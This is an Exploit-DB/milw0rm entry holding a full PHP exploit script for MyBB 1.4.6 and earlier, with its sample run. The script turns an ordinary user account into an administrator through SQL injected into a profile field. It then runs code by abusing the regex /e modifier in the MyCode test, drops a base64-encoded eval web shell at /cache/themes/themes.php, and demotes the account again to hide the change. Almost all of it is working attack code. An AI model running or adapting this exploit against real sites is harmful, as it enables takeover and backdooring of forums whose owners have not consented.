MyBB 1.4.6 - Remote Code Execution

EDB-ID:

9001


Platform:

PHP

Published:

2009-06-22

<?PHP
/*

Someone decided to contact mybb's staff informing about this vulnerability with the obvious result that this will not work anymore. 
Fucking moron.

I'm releasing a non-finished version of the exploit. No help, PoC and with the necessity of --admindir flag.
Going to update it in the next days.
For historical reason, i'm leaving the original title, but note that is <= 1.4.6


Example:

paradox@d3b14n:~/Files/Exploit-Pocs/My_Exploit/Remote/Mybb$ php myBBtomilw0rm.php -u anybody -p qwerty -t http://localhost/web/mybb/Upload/ --admindir /admin/
[.] Initialing.
[+] Logged in.
[+] my_post_key variable found.
[+] Turned On mybb's invisible mode.
[+] Sql code injected. You're now admin.
[+] Admindir found (or --admindir is used): /admin/.
[+] Admin sid Found: 824e26b4221673a0f213c37f87b9ccd7
[+] Site correctly backdoored.
[+] Sql code injected. You're now user.
[+] Backdoor URI: http://localhost/web/mybb/Upload//cache/themes/themes.php
All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.
Have a nice day :P


For the curious people: http://mybboard.it/forum/thread-3623.html

*/

/*

Mybb <= 1.4.4 Remote Code Execution through Sql Injection Exploit


Discovered: 	About 4 days before the exploit was coded.
Coded:		03-03-2009 
Author:		The:Paradox
Release:	Not yet. 

No php.ini setting can stop us ! =O 
A user (not email confirmed too) is needed.

Keep private or your keyboard will blew up.


*/


$mybb = new maibibi2;


class maibibi2 
{

	function __construct ()
	{



		$this->user	= $this->get_argv('-u');
		$this->pass	= $this->get_argv('-p');
		$this->target	= $this->get_argv('-t');
		$this->admindir	= $this->get_argv('--admindir');	
		$this->oa2u	= $this->get_argv('--onlyadmin2user');

		$this->ip	= '67.167.124.135';
		$this->ua	= 'Mozilla 5.0';
		$this->bckdr	= '/cache/themes/themes.php';

		if ($this->get_argv('--help') !== False || $this->get_argv('-h') !== False)	$this->help();
		if (!$this->user || !$this->pass)						die ("You have to insert User/Password\r\nUse --help or -h for more informations.\r\n");
		if (!$this->target)								die ("You have to insert Target\r\nUse --help or -h for more informations.\r\n");
			
		$this->http();
		$this->init();

			
	}

	function help ()
	{

		die ("Under Construction\r\n");

	}

	function get_argv ($what)
	{
		global $argv;

		if (!$n = array_search($what, $argv)) return False;
		return $argv[$n+1];	
	}

	function init ()
	{

		set_time_limit(0); // about 30 seconds left? Be serious.

		echo "[.] Initialing.\r\n";

			if (!$this->mybbuser = $this->ilovecookies ()) die ("Incorrect credentials.\r\n");

		echo "[+] Logged in.\r\n";

			if (!$this->mypostkey = $this->getmypostkey())  die ("My_Post_Key Not Found.\r\n");

		echo "[+] my_post_key variable found.\r\n";

			$this->hidemefromonlinelist();

		echo "[+] Turned On mybb's invisible mode.\r\n";

			$this->user2admin();

		echo "[+] Sql code injected. You're now admin.\r\n";

			if (!$this->admindir && !$this->admindir = $this->findadmindir()) die ("Unable to find admin Dir.\r\nWhatever it's possible your user is currently an administrator.\r\nIf you know admin dir path, you may use --admindir\r\n");

		echo "[+] Admindir found (or --admindir is used): {$this->admindir}.\r\n";		

			if (!$this->adminsid = $this->loginadmin())  die ("[-] Unable to login as admin.\r\nWhatever it's possible your user is currently an administrator.\r\n");
		
		echo "[+] Admin sid Found: {$this->adminsid}\r\n";		
			#$this->writabledirs();
			$this->rce ();		
			if (!$this->checkrce ()) die ("Unable to Execute PHP Code.\r\nWhatever it's possible your user is currently an administrator.\r\n");

		echo "[+] Site correctly backdoored.\r\n";

			$this->admin2user();

		echo "[+] Sql code injected. You're now user.\r\n";
		echo "[+] Backdoor URI: {$this->target}{$this->bckdr}\r\n";
		echo "All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.\r\nHave a nice day :P\r\n\r\n";

	}	

	function ilovecookies ()
	{
		$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua);
		$this->postdata = array ('username' => $this->user, 'password' => $this->pass, 'submit' => 'Login', 'action' => 'do_login');
		
		$rsp = $this->post ("{$this->target}/member.php");
		
		if (!preg_match_all ('~mybbuser=(.+?);~',$rsp,$res)) return False;

		return $res[1][0];
		

	}

	function getmypostkey ()
	{

		$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/member.php", 'Cookie' => "mybbuser={$this->mybbuser};");
		$rsp = $this->get ("{$this->target}/usercp.php?action=profile");

		if (!preg_match_all ('~name="my_post_key" value="(.+?)" />~',$rsp,$res)) return False;

		return $res[1][0];				

	}

	function hidemefromonlinelist()

	{
		$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
		$this->postdata = array ('my_post_key' => $this->mypostkey, 'invisible' => '1', 'action' => 'do_options', 'regsubmit' => 'Update+Options');
		
		$rsp = $this->post ("{$this->target}/member.php");
		
	}

	function user2admin ()

	{

		$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
		$this->postdata = array ('my_post_key'			 => $this->mypostkey, 
					'invisible'			=> '1', 
					'bday1'				=> '', 
					'bday2'				=> '', 
					'bday3'				=> '', 
					'website'			=> 'http%3A%2F%2F', 
					'profile_fields%5Bfid3%5D'	=> 'Undisclosed', 
					'profile_fields%5Bfid2%5D'	=> 'Undisclosed',
					'profile_fields%5Bfid1%5D'	=> 'Undisclosed', 
					'usertitle'			=> '',
					'icq'				=> '', 
					'aim'				=> '', 
					'msn'				=> '', 
					'yahoo'				=> '', 
					'away'				=> '0', 
					'awayreason'			=> '', 
					'awayday'			=> '', 
					'awaymonth'			=> '',
					'awayyear'			=> '',
					'birthdayprivacy'		=> "all', usergroup=4, email='pr3sident@whit3house.gov',regip='79.140.81.83', longregip='1334595923', lastip='', longlastip='",
					'action'			=> 'do_profile', 
					'regsubmit'			=> '1');

		$rsp = $this->post ("{$this->target}/usercp.php");

	}
	
	function findadmindir ()
	{

		$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
		$rsp = $this->get("{$this->target}/index.php");


		if (!preg_match_all ("~<!-- start: header_welcomeblock_member_admin -->
 &mdash; <a href=\"{$this->target}(.+?)/index.php\">~",$rsp,$res)) return False;

		return $res[1][0];				



	}

	function loginadmin ()

	{
		
		$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
		$this->postdata = array ('username' => $this->user, 'password' => $this->pass, 'do' => 'login');

		$rsp = $this->post ("{$this->target}/{$this->admindir}/index.php");
		
		if (!preg_match_all ('~adminsid=(.+?);~',$rsp,$res)) return False;

		return $res[1][0];
	}

	function writabledirs ()
	{
		$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/{$this->admindir}/index.php?", 'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
		$this->get ("{$this->target}/{$this->admindir}/index.php?module=tools") ;


	}


	function rceOld ()

	{

	//edits inc/functions.php (original one)

	$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", 'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
	$this->postdata = array ('my_post_key'			 => $this->mypostkey, 
					'o_o'				=> 'phpinfo();', 
					'regex'				=> '(.*%3F)#e%00', 
					'replacement'			=> 'die(eval(stripslashes($_REQUEST[\'o_o\'])));', 
					'test_value'			=> 'XoD');

	$rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");


	}

	function rce ()

	{

	$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", 'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
	$this->postdata = array ('my_post_key'			 => $this->mypostkey, 
					'o_o'				=> 'JGZwID0gZm9wZW4oJF9SRVFVRVNUWydmaWxlJ10sICdhJyk7DQpmd3JpdGUoJGZwLCAnPD9QSFAgaWYgKGlzc2V0KCRfUkVRVUVTVFt4XSkpIGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFt4XSkpOyA/PicpOw0KZmNsb3NlKCRmcCk7', 
					'regex'				=> '(.*%3F)#e%00', 
					'replacement'			=> 'die(eval(base64_decode($_REQUEST[\'o_o\'])));', 
					'test_value'			=> 'XoD',
					'file'				=> "../{$this->bckdr}");

	$rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");


	}


	function admin2user ()
	
	{

		$this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
		$this->postdata = array ('my_post_key'			 => $this->mypostkey, 
					'invisible'			=> '1', 
					'bday1'				=> '', 
					'bday2'				=> '', 
					'bday3'				=> '', 
					'website'			=> 'http%3A%2F%2F', 
					'profile_fields%5Bfid3%5D'	=> 'Undisclosed', 
					'profile_fields%5Bfid2%5D'	=> 'Undisclosed',
					'profile_fields%5Bfid1%5D'	=> 'Undisclosed', 
					'usertitle'			=> '',
					'icq'				=> '', 
					'aim'				=> '', 
					'msn'				=> '', 
					'yahoo'				=> '', 
					'away'				=> '0', 
					'awayreason'			=> '', 
					'awayday'			=> '', 
					'awaymonth'			=> '',
					'awayyear'			=> '',
					'birthdayprivacy'		=> "all', usergroup=2, email='pr3sident.whit3house@gmail.com',regip='79.140.81.83', longregip='1334595923', lastip='', longlastip='",
					'action'			=> 'do_profile', 
					'regsubmit'			=> '1');

		$rsp = $this->post ("{$this->target}/usercp.php");

	}

	function checkrce_old ()

	{
		$this->header = array ('client-ip' => $this->ip ,'Cookie' => 'x=print \'.:31337:.\'%3B;');
		$rsp = $this->get ("{$this->target}/{$this->admindir}/inc/functions.php?");

		if (!strstr($rsp,'.:31337:.'))	return False;
		else				return True;

	}

	function checkrce ()

	{
		$this->header = array ('client-ip' => $this->ip ,'Cookie' => 'x=print \'.:31337:.\'%3B;');
		$rsp = $this->get ("{$this->target}/{$this->bckdr}");

		if (!strstr($rsp,'.:31337:.'))	return False;
		else				return True;

	}


	function http ($port = 80, $header = array(), $post = array(), $timeout = 30)
	{

		$this->port	= $port;
		$this->timeout	= $timeout;
		$this->header	= $header;
		$this->postdata	= $post;
	}

	function get ($url)
	{
		$this->url = parse_url($url);
		$this->packet = array();

		$this->packet[] = "GET {$this->url['path']}?{$this->url['query']}{$this->url['fragment']} HTTP/1.1";
		$this->packet[] = "Host: {$this->url['host']}";

		foreach ($this->header as $header => $value)
		{
			$this->packet[] = "$header: $value";
		}
		
		$this->packet[] = "\r\n\r\n"; 
		$this->packet	= implode ("\r\n",$this->packet);

		return $this->conn();
	}

	function post ($url)
	{
		$this->url = parse_url($url);

		$this->packet = array();
		$this->postcontent = '';

		$this->packet[] = "POST {$this->url['path']}?{$this->url['query']}{$this->url['fragment']} HTTP/1.1";
		$this->packet[] = "Host: {$this->url['host']}";

		foreach ($this->header as $header => $value)
		{
			$this->packet[] = "$header: $value";
		}
	
		foreach ($this->postdata as $post => $value)
		{
			if ($this->postcontent != '') $this->postcontent .= '&'; 
			$this->postcontent .= "$post=$value";
		}
	
		$this->packet[] = 'Content-Type: application/x-www-form-urlencoded';
		$this->packet[] = "Content-Length: ".strlen($this->postcontent)."\r\n";
		$this->packet[] = $this->postcontent;

		$this->packet	= implode ("\r\n",$this->packet);

		return $this->conn();
	}


	function conn()
	{
		if (!isset($this->url['port']))	$this->url['port'] = $this->port;

		$sk = fsockopen ($this->url['host'], $this->url['port'], $eno, $estr, $this->timeout);

		if (!is_resource($sk))	return "[-] Fsockopen Failed! Error: ".$estr." [".$eno."]" ;

		else	{

    				fputs($sk, $this->packet);
				$rsp = "";
				
				while (!feof($sk)) 
					{
	       					$rsp .= fgets ($sk, 1024);
					}
			}

		fclose($sk);
		return $rsp;
	}



}




?>

# milw0rm.com [2009-06-22]